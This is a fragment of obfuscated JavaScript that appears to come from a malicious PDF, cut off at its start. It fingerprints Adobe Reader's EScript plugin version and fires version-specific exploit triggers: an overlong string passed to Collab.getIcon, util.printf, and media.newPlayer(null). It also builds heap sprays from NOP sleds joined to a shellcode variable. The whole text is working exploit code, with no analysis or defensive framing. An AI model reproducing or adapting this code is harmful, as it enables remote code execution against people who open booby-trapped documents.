tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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